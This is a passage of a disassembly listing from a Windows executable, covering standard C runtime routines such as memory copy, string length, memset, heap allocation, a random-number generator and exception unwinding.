inc edi dec ecx jz short loc_40C772 test al, al jz short loc_40C77A test esi, 3 jnz short loc_40C744 mov ebx, ecx shr ecx, 2 jnz short loc_40C7B1 loc_40C760: ; CODE XREF: sub_40C720+8Fj and ebx, 3 jz short loc_40C772 loc_40C765: ; CODE XREF: sub_40C720+22j ; sub_40C720+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_40C79E dec ebx jnz short loc_40C765 loc_40C772: ; CODE XREF: sub_40C720+2Bj ; sub_40C720+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40C77A: ; CODE XREF: sub_40C720+2Fj test edi, 3 jz short loc_40C794 loc_40C782: ; CODE XREF: sub_40C720+72j mov [edi], al inc edi dec ecx jz loc_40C816 test edi, 3 jnz short loc_40C782 loc_40C794: ; CODE XREF: sub_40C720+60j mov ebx, ecx shr ecx, 2 jnz short loc_40C807 loc_40C79B: ; CODE XREF: sub_40C720+7Fj ; sub_40C720+F4j mov [edi], al inc edi loc_40C79E: ; CODE XREF: sub_40C720+4Dj dec ebx jnz short loc_40C79B pop ebx pop esi loc_40C7A3: ; CODE XREF: sub_40C720+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40C7A9: ; CODE XREF: sub_40C720+A9j ; sub_40C720+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_40C760 loc_40C7B1: ; CODE XREF: sub_40C720+20j ; sub_40C720+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_40C7A9 test dl, dl jz short loc_40C7FB test dh, dh jz short loc_40C7F1 test edx, 0FF0000h jz short loc_40C7E7 test edx, 0FF000000h jnz short loc_40C7A9 mov [edi], edx jmp short loc_40C7FF ; --------------------------------------------------------------------------- loc_40C7E7: ; CODE XREF: sub_40C720+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_40C7FF ; --------------------------------------------------------------------------- loc_40C7F1: ; CODE XREF: sub_40C720+B1j and edx, 0FFh mov [edi], edx jmp short loc_40C7FF ; --------------------------------------------------------------------------- loc_40C7FB: ; CODE XREF: sub_40C720+ADj xor edx, edx mov [edi], edx loc_40C7FF: ; CODE XREF: sub_40C720+C5j ; sub_40C720+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_40C811 loc_40C807: ; CODE XREF: sub_40C720+79j xor eax, eax loc_40C809: ; CODE XREF: sub_40C720+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_40C809 loc_40C811: ; CODE XREF: sub_40C720+E5j and ebx, 3 jnz short loc_40C79B loc_40C816: ; CODE XREF: sub_40C720+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40C720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C820 proc far ; CODE XREF: sub_4013CA+15p ; sub_4013CA+3Bp ... arg_FFFFFFFC = dword ptr 8 arg_0 = dword ptr 0Ch arg_4 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edi, [ebp+arg_FFFFFFFC] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40C840 cmp edi, eax jb loc_40C9B8 loc_40C840: ; CODE XREF: sub_40C820+16j test edi, 3 jnz short loc_40C85C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40C87C rep movsd jmp off_40C968[edx*4] ; --------------------------------------------------------------------------- loc_40C85C: ; CODE XREF: sub_40C820+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40C874 and eax, 3 add ecx, eax jmp dword ptr loc_40C87C+4[eax*4] ; --------------------------------------------------------------------------- loc_40C874: ; CODE XREF: sub_40C820+46j jmp dword ptr loc_40C978[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40C87C: ; CODE XREF: sub_40C820+31j ; sub_40C820+8Ej ... jmp off_40C8FC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0C8h, 40h, 0 dd offset loc_40C8BC dd offset loc_40C8E0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40C87C rep movsd jmp off_40C968[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40C8BC: ; DATA XREF: sub_40C820+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40C87C rep movsd jmp off_40C968[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40C8E0: ; DATA XREF: sub_40C820+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40C87C rep movsd jmp off_40C968[edx*4] ; --------------------------------------------------------------------------- align 4 off_40C8FC dd offset loc_40C95F ; DATA XREF: sub_40C820:loc_40C87Cr dd offset loc_40C94C dd offset loc_40C944 dd offset loc_40C93C dd offset loc_40C934 dd offset loc_40C92C dd offset loc_40C924 dd offset loc_40C91C ; --------------------------------------------------------------------------- loc_40C91C: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40C924: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40C92C: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40C934: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40C93C: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40C944: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40C94C: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40C95F: ; CODE XREF: sub_40C820:loc_40C87Cj ; DATA XREF: sub_40C820:off_40C8FCo jmp off_40C968[edx*4] ; --------------------------------------------------------------------------- align 4 off_40C968 dd offset loc_40C978 ; DATA XREF: sub_40C820+35r ; sub_40C820+92r ... dd offset loc_40C980 dd offset loc_40C98C dd offset loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C978: ; CODE XREF: sub_40C820+35j ; sub_40C820+92j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40C980: ; CODE XREF: sub_40C820+35j ; sub_40C820+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40C98C: ; CODE XREF: sub_40C820+35j ; sub_40C820+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40C9A0: ; CODE XREF: sub_40C820+35j ; sub_40C820+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40C9B8: ; CODE XREF: sub_40C820+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40C9EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40C9E0 std rep movsd cld jmp off_40CB00[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40C9E0: ; CODE XREF: sub_40C820+1B1j ; sub_40C820+208j ... neg ecx jmp off_40CAB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40C9EC: ; CODE XREF: sub_40C820+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40CA04 and eax, 3 sub ecx, eax jmp dword ptr loc_40CA04+4[eax*4] ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C820+1D6j ; DATA XREF: sub_40C820+1DDr jmp off_40CB00[ecx*4] ; --------------------------------------------------------------------------- align 4 sbb dl, cl inc eax add [eax], bh retf 40h ; --------------------------------------------------------------------------- pusha retf 40h ; --------------------------------------------------------------------------- mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40C9E0 std rep movsd cld jmp off_40CB00[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40C9E0 std rep movsd cld jmp off_40CB00[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40C9E0 std rep movsd cld jmp off_40CB00[edx*4] ; --------------------------------------------------------------------------- align 4 mov ah, 0CAh inc eax add [edx+ecx*8-353BFFC0h], bh inc eax add ah, cl retf 40h ; --------------------------------------------------------------------------- aam 0CAh inc eax add ah, bl retf 40h ; --------------------------------------------------------------------------- dd offset loc_40CAE4 off_40CAB0 dd offset loc_40CAF7 ; DATA XREF: sub_40C820+1C2r ; --------------------------------------------------------------------------- mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40CAE4: ; DATA XREF: sub_40C820+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40CAF7: ; CODE XREF: sub_40C820+1C2j ; DATA XREF: sub_40C820:off_40CAB0o jmp off_40CB00[edx*4] ; --------------------------------------------------------------------------- align 10h off_40CB00 dd offset loc_40CB10 ; DATA XREF: sub_40C820+1B7r ; sub_40C820:loc_40CA04r ... dd offset loc_40CB18 dd offset loc_40CB28 dd offset loc_40CB3C ; --------------------------------------------------------------------------- loc_40CB10: ; CODE XREF: sub_40C820+1B7j ; sub_40C820:loc_40CA04j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CB18: ; CODE XREF: sub_40C820+1B7j ; sub_40C820:loc_40CA04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CB28: ; CODE XREF: sub_40C820+1B7j ; sub_40C820:loc_40CA04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CB3C: ; CODE XREF: sub_40C820+1B7j ; sub_40C820:loc_40CA04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn sub_40C820 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CB55 proc near ; CODE XREF: sub_40154B+33p ; sub_403E11+54p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_41FC30, eax retn sub_40CB55 endp ; =============== S U B R O U T I N E ======================================= sub_40CB5F proc near ; CODE XREF: sub_401412+4Dp ; sub_401412+5Ap ... mov eax, dword_41FC30 imul eax, 343FDh add eax, 269EC3h mov dword_41FC30, eax sar eax, 10h and eax, 7FFFh retn sub_40CB5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB7D proc near ; CODE XREF: sub_401412+40p ; sub_403E11+24Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_40CBC0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_40F5E2 add esp, 10h leave retn sub_40CB7D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CBC0 proc near ; CODE XREF: sub_401412+19p ; sub_401B3F+7p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40CBE0 loc_40CBCC: ; CODE XREF: sub_40CBC0+19j mov al, [ecx] inc ecx test al, al jz short loc_40CC13 test ecx, 3 jnz short loc_40CBCC add eax, 0 loc_40CBE0: ; CODE XREF: sub_40CBC0+Aj ; sub_40CBC0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40CBE0 mov eax, [ecx-4] test al, al jz short loc_40CC31 test ah, ah jz short loc_40CC27 test eax, 0FF0000h jz short loc_40CC1D test eax, 0FF000000h jz short loc_40CC13 jmp short loc_40CBE0 ; --------------------------------------------------------------------------- loc_40CC13: ; CODE XREF: sub_40CBC0+11j ; sub_40CBC0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40CC1D: ; CODE XREF: sub_40CBC0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40CC27: ; CODE XREF: sub_40CBC0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40CC31: ; CODE XREF: sub_40CBC0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40CBC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CC40 proc near ; CODE XREF: sub_401965+1Ap ; sub_40199F+22p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40CC93 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_40CC87 neg ecx and ecx, 3 jz short loc_40CC69 sub edx, ecx loc_40CC63: ; CODE XREF: sub_40CC40+27j mov [edi], al inc edi dec ecx jnz short loc_40CC63 loc_40CC69: ; CODE XREF: sub_40CC40+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40CC87 rep stosd test edx, edx jz short loc_40CC8D loc_40CC87: ; CODE XREF: sub_40CC40+18j ; sub_40CC40+3Fj ... mov [edi], al inc edi dec edx jnz short loc_40CC87 loc_40CC8D: ; CODE XREF: sub_40CC40+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40CC93: ; CODE XREF: sub_40CC40+Aj mov eax, [esp+arg_0] retn sub_40CC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CCA0 proc near ; CODE XREF: sub_402972+5p ; sub_403CA3+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_40CCC0 loc_40CCAC: ; CODE XREF: sub_40CCA0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40CCAC loc_40CCC0: ; CODE XREF: sub_40CCA0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_40CCA0 endp ; =============== S U B R O U T I N E ======================================= sub_40CCCF proc near ; CODE XREF: sub_401965+Ap ; sub_40199F+12p ... arg_0 = dword ptr 4 push dword_481E14 push [esp+4+arg_0] call sub_40CCE1 pop ecx pop ecx retn sub_40CCCF endp ; =============== S U B R O U T I N E ======================================= sub_40CCE1 proc near ; CODE XREF: sub_40CCCF+Ap ; sub_40D795+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_40CD0A loc_40CCE8: ; CODE XREF: sub_40CCE1+27j push [esp+arg_0] call sub_40CD0D test eax, eax pop ecx jnz short locret_40CD0C cmp [esp+arg_4], eax jz short locret_40CD0C push [esp+arg_0] call sub_410093 test eax, eax pop ecx jnz short loc_40CCE8 loc_40CD0A: ; CODE XREF: sub_40CCE1+5j xor eax, eax locret_40CD0C: ; CODE XREF: sub_40CCE1+13j ; sub_40CCE1+19j retn sub_40CCE1 endp ; =============== S U B R O U T I N E ======================================= sub_40CD0D proc near ; CODE XREF: sub_40CCE1+Bp arg_0 = dword ptr 4 mov eax, dword_483428 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_40CD31 cmp esi, dword_483420 ja short loc_40CD63 push esi call sub_41061C test eax, eax pop ecx jz short loc_40CD63 pop esi retn ; --------------------------------------------------------------------------- loc_40CD31: ; CODE XREF: sub_40CD0D+Dj cmp eax, 2 jnz short loc_40CD63 mov eax, [esp+4+arg_0] test eax, eax jz short loc_40CD46 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_40CD49 ; --------------------------------------------------------------------------- loc_40CD46: ; CODE XREF: sub_40CD0D+2Fj push 10h pop esi loc_40CD49: ; CODE XREF: sub_40CD0D+37j cmp esi, dword_421CB4 ja short loc_40CD70 mov eax, esi shr eax, 4 push eax call sub_4110BF test eax, eax pop ecx jnz short loc_40CD7F jmp short loc_40CD70 ; --------------------------------------------------------------------------- loc_40CD63: ; CODE XREF: sub_40CD0D+15j ; sub_40CD0D+20j ... test esi, esi jnz short loc_40CD6A push 1 pop esi loc_40CD6A: ; CODE XREF: sub_40CD0D+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_40CD70: ; CODE XREF: sub_40CD0D+42j ; sub_40CD0D+54j push esi push 0 push dword_483424 call dword_418110 ; RtlAllocateHeap loc_40CD7F: ; CODE XREF: sub_40CD0D+52j pop esi retn sub_40CD0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD81 proc near ; CODE XREF: sub_4019F4+Ap ; sub_401A0D+73p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_40CDE7 mov eax, dword_483428 cmp eax, 3 jnz short loc_40CDAD push esi call sub_4102C8 pop ecx test eax, eax push esi jz short loc_40CDD9 push eax call sub_4102F3 pop ecx pop ecx jmp short loc_40CDE7 ; --------------------------------------------------------------------------- loc_40CDAD: ; CODE XREF: sub_40CD81+14j cmp eax, 2 jnz short loc_40CDD8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_411023 add esp, 0Ch test eax, eax jz short loc_40CDD8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41107A add esp, 0Ch jmp short loc_40CDE7 ; --------------------------------------------------------------------------- loc_40CDD8: ; CODE XREF: sub_40CD81+2Fj ; sub_40CD81+44j push esi loc_40CDD9: ; CODE XREF: sub_40CD81+20j push 0 push dword_483424 call dword_418114 ; RtlFreeHeap loc_40CDE7: ; CODE XREF: sub_40CD81+Aj ; sub_40CD81+2Aj ... pop esi leave retn sub_40CD81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40CDEA(double) sub_40CDEA proc near ; CODE XREF: sub_402112+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_41FC40 call sub_411CBC fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40CE70 call sub_411B84 pop ecx test eax, eax pop ecx jle short loc_40CE53 cmp eax, 2 jle short loc_40CE45 cmp eax, 3 jnz short loc_40CE53 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_411494 add esp, 10h jmp short loc_40CEB5 ; --------------------------------------------------------------------------- loc_40CE45: ; CODE XREF: sub_40CDEA+3Fj push esi push ebx call sub_411CBC fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40CEB5 ; --------------------------------------------------------------------------- loc_40CE53: ; CODE XREF: sub_40CDEA+3Aj ; sub_40CDEA+44j fld [ebp+arg_0] fadd dbl_418638 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_40CEAD ; --------------------------------------------------------------------------- loc_40CE70: ; CODE XREF: sub_40CDEA+2Fj call sub_411B49 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40CE93 loc_40CE85: ; CODE XREF: sub_40CDEA+ACj push esi push ebx call sub_411CBC fld [ebp+var_8] pop ecx pop ecx jmp short loc_40CEB5 ; --------------------------------------------------------------------------- loc_40CE93: ; CODE XREF: sub_40CDEA+99j test bl, 20h jnz short loc_40CE85 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_40CEAD: ; CODE XREF: sub_40CDEA+84j call sub_4114E7 add esp, 1Ch loc_40CEB5: ; CODE XREF: sub_40CDEA+59j ; sub_40CDEA+67j ... pop esi pop ebx leave retn sub_40CDEA endp ; =============== S U B R O U T I N E ======================================= sub_40CEB9 proc near ; CODE XREF: sub_40E785+9p ; sub_411D85+21p ; DATA XREF: ... call sub_40CED1 call sub_411D85 mov dword_481D98, eax call sub_411D35 fnclex retn sub_40CEB9 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40CED1 proc near ; CODE XREF: sub_40CEB9p mov eax, offset sub_412173 mov off_421DD4, offset sub_411E08 mov off_421DD0, eax mov off_421DD8, offset sub_411E6E mov off_421DDC, offset sub_411DAE mov off_421DE0, offset sub_411E56 mov off_421DE4, eax retn sub_40CED1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF0C proc near ; CODE XREF: sub_402112+1Bp ; sub_402112+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_40CF0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40CF33(double) sub_40CF33 proc near ; CODE XREF: sub_40215E+83p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_41FC58 call sub_411CBC fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40CFB9 call sub_411B84 pop ecx test eax, eax pop ecx jle short loc_40CF9C cmp eax, 2 jle short loc_40CF8E cmp eax, 3 jnz short loc_40CF9C fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_411494 add esp, 10h jmp short loc_40CFFE ; --------------------------------------------------------------------------- loc_40CF8E: ; CODE XREF: sub_40CF33+3Fj push esi push ebx call sub_411CBC fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40CFFE ; --------------------------------------------------------------------------- loc_40CF9C: ; CODE XREF: sub_40CF33+3Aj ; sub_40CF33+44j fld [ebp+arg_0] fadd dbl_418638 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_40CFF6 ; --------------------------------------------------------------------------- loc_40CFB9: ; CODE XREF: sub_40CF33+2Fj call sub_411B49 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40CFDC loc_40CFCE: ; CODE XREF: sub_40CF33+ACj push esi push ebx call sub_411CBC fld [ebp+var_8] pop ecx pop ecx jmp short loc_40CFFE ; --------------------------------------------------------------------------- loc_40CFDC: ; CODE XREF: sub_40CF33+99j test bl, 20h jnz short loc_40CFCE fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_40CFF6: ; CODE XREF: sub_40CF33+84j call sub_4114E7 add esp, 1Ch loc_40CFFE: ; CODE XREF: sub_40CF33+59j ; sub_40CF33+67j ... pop esi pop ebx leave retn sub_40CF33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D002 proc near ; CODE XREF: sub_4125E4+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_40D002 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_40D036 proc near ; CODE XREF: sub_412795+199p ; sub_412959+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40D036 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D03D proc near ; CODE XREF: sub_412795+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40D03D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D044 proc near ; CODE XREF: sub_40D1F6+5Cp ; sub_4125E4:loc_412615p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_40D06C push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_417A7E ; RtlUnwind loc_40D06C: ; DATA XREF: sub_40D044+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_40D044 endp ; --------------------------------------------------------------------------- loc_40D093: ; CODE XREF: .nsp0:00417BDCj ; .nsp0:00417BF9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4121E9 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0C9 proc near ; CODE XREF: sub_41265F+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_40D11D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_4129F0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, 